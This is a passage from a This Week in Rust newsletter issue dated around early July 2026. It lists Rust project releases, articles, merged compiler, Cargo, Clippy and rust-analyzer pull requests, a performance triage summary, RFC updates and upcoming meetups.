<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://www.copper-robotics.com/whats-new/copper-rs-v100">copper-rs v1.0.0</a>: the open source deterministic robotics OS is now stable.</li>
<li><a href="https://rayfish.xyz/blog/01-introducing-rayfish">Rayfish: Your own private network. No servers, no setup.</a></li>
<li><a href="https://plabayo.tech/blog/rama-0-3">rama v0.3.0 — network service framework ready to be used by the wider Rust community</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.9.0">kache 0.9.0: supply-chain hardening + read-only CI cache</a></li>
<li><a href="https://www.willsearch.com.br/blog/2026/07/04/meet-guardiandbs-new-postgresql-compatibility-layer/">GuardianDB - PostgreSQL and P2P/Local-First Together</a></li>
<li><a href="https://buildnectar.com/">Nectar: a Rust-like language that compiles your whole web app to WebAssembly</a></li>
<li><a href="https://thekeeper.io/blog/logdrain-log-template-mining-in-rust/">logdrain: Fast, Embeddable Log-Template Mining in Rust</a></li>
<li><a href="https://medium.com/@vbasky/packaging-the-worlds-video-in-pure-rust-ff1f6b884fec">sheathe: Packaging the World's Video in Pure Rust</a></li>
<li><a href="https://docs.wickra.org/Quickstart-Rust">wickra: streaming-first technical indicators</a></li>
<li><a href="https://github.com/TeamXcelerator/xcelerator-solver/releases/tag/v0.1.0">Xcelerator Solver v0.1.0 -- deterministic symbolic regression</a></li>
<li><a href="https://github.com/tkmsikd/dlt-tui/releases/tag/v1.1.0">dlt-tui 1.1.0 - a fast TUI viewer for automotive DLT (AUTOSAR Diagnostic Log and Trace) files</a></li>
<li><a href="https://github.com/shihuili1218/rssh/releases/tag/v0.2.11">RSSH v0.2.11 — terminal workflows, safer SSH key import, and observable AI ops</a></li>
<li><a href="https://blog.none.at/blog/2026/2026-07-06-k8s-scale-app-rs/">k8s-scale-app-rs: Scale or Restart a Kubernetes Deployment from a CronJob</a></li>
<li><a href="https://dev.to/sicklefire/m-vis-v050-rc1-update-11cp">M-vis v0.5.0-rc1 update</a></li>
<li><a href="https://ganeshsivakumar.substack.com/p/flaredb">FlareDB: An Apache Beam Native Streaming Database built in Rust</a></li>
<li><a href="https://holovskyi.github.io/blog/typed-mqtt-topics-for-rust/">mqtt-typed-client 0.2: a type-safe async MQTT client on rumqttc</a></li>
<li><a href="https://github.com/LeChatP/RootAsRole/releases/tag/v4.0.0">RootAsRole: v4.0.0 Major release, secure execution, new logo</a></li>
<li><a href="https://www.qt.io/blog/rust-ui-framework-via-bridging-technology">A Cross-Platform Rust UI Framework via Qt’s Bridging Technology</a></li>
<li><a href="https://rapha.land/jam-programming-language/">Jam Programming Language</a></li>
<li><a href="https://www.clever.cloud/blog/company/2026/07/01/sozu-2-1-0-udp-load-balancer-programmable-edge/">Sōzu 2.1.0: UDP load balancing for the programmable edge</a></li>
<li><a href="https://op3kay.dev/writing/b0nker">b0nker: a minimal container runtime written in Rust</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=SGR5qBdwk30">Rust Berlin Meetup 25/06/2026 Livestream</a></li>
<li>[video] <a href="https://www.youtube.com/live/_LtgHxuysUo">How do you rewrite C/C++ projects to Rust? – JetBrains interview with Luca Palmieri, Mainmatter</a></li>
<li><a href="https://kerkour.com/rustcrypto-slow-simd-rust">Investigating why RustCrypto is slow: Deep dive into SIMD instructions and hardware acceleration</a></li>
<li><a href="https://parsa.wtf/cast/">bool as u32</a></li>
<li><a href="https://arxiv.org/html/2605.30106">A Rust-to-Lean Verification Pipeline with AI Provers: An Experience Report</a></li>
<li><a href="https://blog.dureuill.net/articles/wip/">Work In Progress Rust</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=Fk165jYfHpc">OpenAI just spent $600k on Rust</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e07-rising-academies/">Rising Academies with Dylan Brown - Rust in Production Podcast</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[series] <a href="https://aibodh.com/posts/bevy-tutorial-build-your-first-3d-editor-in-rust/">Bevy Tutorial: Build Your First 3D Editor - Create a 3D Space on an Infinite Grid</a></li>
<li><a href="https://blog.sheerluck.dev/posts/learn-axum-basics-and-routing-by-building-a-url-shortener/">Learn Axum Basics and Routing by Building a URL Shortener</a></li>
<li>[series] <a href="https://plabayo.tech/blog/rama-101-1-https-clients-and-abstractions">Rama 101.1: HTTPS clients and layers of abstraction</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://seanborg.tech/tiny-blog/rust-week-ven-diagram/">Clickable euler diagram of all the Rust week talks</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/apis-saltans-core">apis-saltans</a>, a Zigbee implementation including a coordinator API.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1627">Richard Neumann</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>

<p>* <a href="https://github.com/name970/Protocol/issues/4">Protocol - Extend bit-exactness tests to f64 reconstruction targets</a>                                                                          <br>
* <a href="https://github.com/lenra-io/dofigen/issues/278">Dofigen - No image tag replacement flag for the generate command</a></p>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>598 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-06-30..2026-07-07">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/156976">enable eager <code>param_env</code> norm in new solver</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156379">lint on <code>core::ffi::c_void</code> as a return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158577">polish some macro parsing code</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158604">resolve: no allocation in <code>resolve_ident_in(_local)_module_*</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158627">simplify option-iterator flattening in the compiler</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157857">stabilize <code>#[my_macro] mod foo;</code> (part of <code>proc_macro_hygiene</code>)</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158537">add <code>std::io::cursor::WriteThroughCursor</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157347">implement <code>Box::as_non_null()</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156737">implement <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/134021">implement <code>IntoIterator</code> for <code>[&amp;[mut]] Box&lt;[T; N], A&gt;</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158427">implement <code>ptr::{read,write}_unaligned</code> via <code>repr(packed)</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158539">move <code>SizeHint</code> and <code>IoHandle</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158540">move <code>std::io::Seek</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158704">optimize <code>ArrayChunks::try_rfold</code> with <code>DoubleEndedIterator::next_chunk_back</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158573">stabilize <code>feature(atomic_from_mut)</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17135"><code>bindeps</code>: register transitive artifact targets</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17167">avoid cloning parsed TOML manifest in <code>ManifestErrorContext</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17176">avoid extra clone of parsed TOML manifest</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17178">remove unneeded cloning when parsing package index</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17169">change HashMaps and HashSets in Cargo to use Fxhasher</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17174">do not pass lint rustflags when <code>--cap-lints=allow</code> is set</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17164">fixed <code>Compilation::deps_output</code> only taking the last dep</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17177">pre-allocate a few vectors</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/16807">stabilize <code>build-dir</code> layout v2</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17180">use a set when checking visited workspace members</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158751">fix crash when trying to inline foreign item which cannot have attributes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158334">show use-site paths for unevaluated const array lengths</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17319"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with const parameters</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17360"><code>chunks_exact_to_as_chunks</code>: Don't report expressions with type params</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17309"><code>missing_trait_methods</code>: MSRV/unstable awareness</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17289"><code>vec_init_then_push</code>: don't lint pushes from a macro expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17346"><code>inline_modules</code>: ignore <code>cfg(test)</code> modules in test builds</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17345"><code>match_same_arms</code>: keep arm-level expectations working under an outer allow</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17341"><code>unnecessary_operation</code>: avoid bad <code>!</code> suggestions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17351"><code>unnecessary_unwrap_unchecked</code>: don't trigger inside the <code>_unchecked</code> fn</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17348">add required parentheses when the <code>needless_bool</code> suggestion is an operand</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17353">fix ICE when resolving local in <code>unnecessary_unwrap_unchecked</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17311">fix <code>infinite_loop</code> false positive inside gen blocks</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17358">fix <code>manual_c_str_literals</code> suggestion when the trailing backslash is escaped</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17337">fix <code>strlen_on_c_strings</code> incorrect suggestion logic</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17323">fix <code>suspicious_operation_groupings</code> duplications</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16902">lint bit width</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17338">optimize <code>Msrv::meets</code> calls</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17273">bail out of unicode lint scans when the snippet is pure ASCII</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17224">skip the HIR parent walk in <code>is_in_test_function</code> when there are no test items</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17366">place generated impl block after the existing impl block</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17333">refactor <code>StringAdd</code> lint pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17334">refactor <code>suspicious_xor_used_as_pow</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17293">remove <code>lower_ty</code> in <code>uninhabited_reference</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17328">respect the configured MSRV in <code>manual_is_variant_and</code>'s <code>map() == Some(_)</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17332">rewrite <code>mut_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17329">rewrite <code>redundant_else</code> as a late pass</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17354">rewrite <code>tuple_array_conversions</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22595">SCIP: exclude leading/trailing trivia in definition ranges</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22708">SCIP: remove dead <code>inlay_hints</code> field</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22433"><code>feat(ide-diagnostics)</code>: add diagnostics for invalid union patterns (E0784)</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22704"><code>internal(query-group-macro)</code>: remove the arity test</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22668">add tree top method to Syntax node</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22665">add handler for E0627</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22231">supports multi arms for <code>replace_match_with_if_let</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22690">fix UB in <code>smol_str borsh_non_utf8</code> test cases</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/20362">fix generic param for <code>generate_default_from_enum_variant</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22703"><code>walkthrough_create_project</code> file not packaged</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22677">assertion failure on closure with unbound function</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22613">avoid panic in <code>convert_tuple_struct_to_named_struct</code> on nested pattern usage</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22649">configuration syntax for nvim-lsp</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22706">correct resolution to value when it shares the same name with type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22619">exclude impls on the error type from impl enumeration</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22705">fix crash on <code>extract_variable</code> when selecting unresolved macro call</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22715">fix crash on completion inside macros</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22673">fix handling of params of coroutine fns</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22675">handle more cases of cfgs in expr store lowering</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22488">no generate with default assoc item</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22674">panics in <code>unwrap_return_type</code>, <code>remove_underscore</code>, and <code>promote_local_to_const</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22711">hoist attribute qualifier segment collection</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22709">reduce parser joint-token allocation</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22676">project-model: don't pass metadata extra args to sysroot</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22679">project-model: introduce cargo.configPath</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22581">provide startup time to ready log point and associated benchmark</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week was dominated by wild swings in benchmarks of the new-solver, which is not enabled by default, yet.
Apart from that, we got a very few notable changes, only one unexpected speedup from a bugfix in rustdoc.</p>
<p>Triage done by <strong>@panstromek</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=7dc2c162b9c197aaa76a6f9e7534569537830a01&amp;end=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;absolute=false&amp;stat=instructions%3Au">7dc2c162..3659db0d</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.2%</td>
<td>[0.2%, 0.2%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>162.1%</td>
<td>[0.2%, 1116.3%]</td>
<td>20</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.4%</td>
<td>[-8.4%, -0.1%]</td>
<td>7</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-1.1%</td>
<td>[-8.4%, -0.1%]</td>
<td>11</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-0.9%</td>
<td>[-8.4%, 0.2%]</td>
<td>10</td>
</tr>
</tbody>
</table>
<p>1 Regression, 1 Improvement, 4 Mixed; 3 of them in rollups
17 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/9f1bc6e374b5ae202366df1cbef850b79be8c641/triage/2026/2026-07-06.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158522">Lint against invalid POSIX symbol definitions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158325">Document NonNull layout guarantees</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/112811">Tracking Issue for <code>slice_split_once</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#language-reference"></a><a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>
<ul>
<li><a href="https://github.com/rust-lang/reference/pull/2293">Empty repr(Rust) enums are ZSTs</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3982">Update RFC template</a></li>
<li><a href="https://github.com/rust-lang/rfcs/pull/3981">RFC: Store registry tokens in the OS credential store by default</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-08 - 2026-08-05 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-08 | Virtual (Cardiff, GB) | <a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/">Rust and C++ Cardiff</a></li>
<li><a href="https://www.meetup.com/rust-and-c-plus-plus-in-cardiff/events/315506435/"><strong>Operating Systems Book Club: Introduction + Processes</strong></a></li>
<li>2026-07-08 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/jv9lom12"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-09 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris/events/">Rust Nuremberg</a></li>
<li><a href="https://www.meetup.com/rust-noris/events/315517604/"><strong>Rust Nürnberg online</strong></a></li>
<li>2026-07-14 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254778/"><strong>Second Tuesday</strong></a></li>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a></li>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a></li>
<li><a href="https://www.meetup.com/seattle-rust-user-group/events/314520812/"><strong>July, 2026 SRUG (Seattle Rust User Group) Meetup</strong></a></li>
<li>2026-07-16 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045926/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-07-19 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314329045/"><strong>Rust Deep Learning: Third Sunday</strong></a></li>
<li>2026-07-21 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315102297/"><strong>Lunch &amp; Learn: Learning Rust as First Programming Language</strong></a></li>
<li>2026-07-21 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a></li>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
<li>2026-07-22 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust/events/">Dallas Rust User Meetup</a></li>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
<li>2026-08-04 | Virtual (London, GB) | <a href="https://www.meetup.com/women-in-rust/events/">Women in Rust</a></li>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
<li>2026-07-29 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a></li>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs/events/">Indy Rust</a></li>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-18 | Bangalore, IN | <a href="https://hasgeek.com/rustbangalore">Rust Bangalore</a></li>
<li><a href="https://hasgeek.com/rustbangalore/july-2026-rustacean-meetup/"><strong>July 2026 Rustacean Meetup</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa:</a></h5>
<ul>
<li>2026-07-14 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup/events/">Johannesburg Rust Meetup</a></li>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315573758/"><strong>Debugging a production grade Open Source Rust crate</strong></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-08 | Dublin, IE | <a href="https://www.meetup.com/rust-dublin">Rust Dublin</a></li>
<li><a href="https://www.meetup.com/rust-dublin/events/315150327/"><strong>Join us live and INPERSON for Rust 262</strong></a></li>
<li>2026-07-09 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin/events/">Rust Berlin</a></li>
<li><a href="https://www.meetup.com/rust-berlin/events/315585121/"><strong>Rust Berlin on location 🏳️‍🌈 - Edition 015</strong></a></li>
<li>2026-07-09 | Frankfurt, DE | <a href="https://www.meetup.com/rust-rhein-main/events/">Rust Rhein-Main</a></li>
<li><a href="https://www.meetup.com/rust-rhein-main/events/315366165/"><strong>Building Cross Platform Applications with Ply</strong></a></li>
<li>2026-07-09 | Switzerland, CH | <a href="https://www.posttenebraslab.ch/wiki/events/start">PostTenebrasLab</a></li>
